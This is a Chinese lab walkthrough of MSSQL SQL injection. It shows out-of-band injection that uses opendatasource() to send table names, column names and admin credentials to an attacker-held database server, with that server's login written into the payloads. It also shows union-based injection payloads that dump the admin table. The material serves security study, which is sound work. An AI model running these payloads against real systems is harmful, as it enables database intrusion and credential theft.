18、注入篇--反弹注入(MSSQL)

MSSQL

MSSQL基础

MSSQL是指微软的SQLServer的数据库服务器

  • 每个库都会自带有sysobjects表,其中有三个字段
    1. name 当前数据库下的所有表名
    2. id 相当于表名的标识
    3. xtype 字段 中 U 代表用户创建的表名,S代表系统创建的
  • 每个库都会自带有syscolumns表,其中有两个字段
    1. name 每个表的字段名
    2. id 对应sysobjects表中id字段

反弹注入

原理

原理:将目标站点中查询到的数据结果 传到攻击者的数据库中
注入条件:网络通畅,攻击者需要有公网ip地址的数据库
所用函数:opendatasource()
将当前数据库查询的结果发送到另外一数据库服务器中
语法:opendatasource(provider_name,int_string)

公式
insert into opendatasource(‘sqloledb’,’server=服务器地址,1433;
uid=用户名;pwd=密码;database=数据库名’).数据库名.dbo.表 SQL语句

条件

​ 网络通常,攻击者需要有公网IP的数据库服务器地址

函数

​ opendatasource()

​ 作用:将目标站点查询到的数据结果 传到攻击者的数据库中

​ 用法:

​ opendatasource(‘sqloledb’,‘server=服务器地址,端口号;uid=用户名;pwd=密码;database=数据库名’)

反弹注入 步骤

  • 需创建用于存放目标站点表名的表,字段有id,name
  • 构造payload 存放 SQL语句查询到的id和name
    ';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.tb select id,name from sysobjects where xtype='U' -- q
  • 创建用于存放目标站点表名的字段名的表,字段有id,name
  • 构造payload
    存放指定表中的字段名
    ';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.col select id,name from syscolumns where id=1977058079 -- q
  • 根据查到的表名字段名 创建表和字段名
  • 构造payload得到结果
    ';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;pwd=123456789;database=DB_14DBE69_zkaq').DB_14DBE69_zkaq.dbo.res select id,username,passwd,token from admin -- q

靶场(反弹注入)

1、创建数据表tb,将查询到的id,name存放在该表中
在这里插入图片描述

2、构造payload, 查询表名

‘;insert into opendatasource(‘sqloledb’,’server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;
pwd=123456789;database=DB_14DBE69_zkaq’).DB_14DBE69_zkaq.dbo.tb select id,name from sysobjects
 where xtype=’U’ — q

返回正常
在这里插入图片描述

3、查看 tb表 是否有数据
在这里插入图片描述

4、创建存放admin表中字段的表 col
在这里插入图片描述

5、构造payload,查admin表的字段

‘;insert into opendatasource(‘sqloledb’,’server=SQL5095.site4now.net,1433;uid=DB_14DBE69_zkaq_admin;
pwd=123456789;database=DB_14DBE69_zkaq’).DB_14DBE69_zkaq.dbo.col select id,name from syscolumns
 where id=1977058079 — q

页面返回正常
在这里插入图片描述

6、查看数据库中col表
在这里插入图片描述

7、得到admin表中字段:id、username、passwd、token
创建res表 用于存放admin表中字段信息
在这里插入图片描述

8、页面返回正常

在这里插入图片描述

9、查看res表,得到flag
在这里插入图片描述

使用显错注入

显错注入基础

  • union 联合查询 去重
  • union all 不去重 显示全部数据
  • 除了MySQL数据库其他数据库查询内容要写全(select 字段 from 表名)
  • MySQL在联合查询时对字段数有严格的规定,但是对字段类型规定比较淡

显错注入步骤

  • 使用sysobjects表中name、id、xtype探测出用户创建了哪些表

    ’ union all select id,name,null from sysobjects where xtype=‘U’

  • 使用syscolumns表探测指定表id的字段名

    ’ union all select id,name,‘b’ from syscolumns where id=表的id

  • 使用selece 直接爆出数据

    select 字段名 from 表名

靶场

1、进入靶场
在这里插入图片描述

2、1后加\进行探测
在这里插入图片描述

3、构造闭合 ‘ — q
在这里插入图片描述

4、使用order by 探测字段数
order by 4 报错
在这里插入图片描述

order by 3 正常
在这里插入图片描述

字段数为3

5、使用联合查询
在这里插入图片描述

加union all 试一试
在这里插入图片描述

6、猜测表名news
在这里插入图片描述

7、会不会是 数据类型不对呢,1,2,3全部改为null
在这里插入图片描述

8、猜测第一个null是int型,第二ge和第三个是字符型
在这里插入图片描述

9、通过sysobjects表的id、xtype和name 探测用户创建的表名
payload:
‘ union all select id,name,’b’ from sysobjects where xtype=’U’— q
在这里插入图片描述

10、探测admin表中的字段,通过syscolumns表中的id和name
payload:
‘ union all select id,name,’b’ from syscolumns where id=1977058079 — q
在这里插入图片描述

11、查看passwd和token字段数据
payload:
‘ union all select id,passwd,token from admin — q
在这里插入图片描述

12、得到flag,通过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值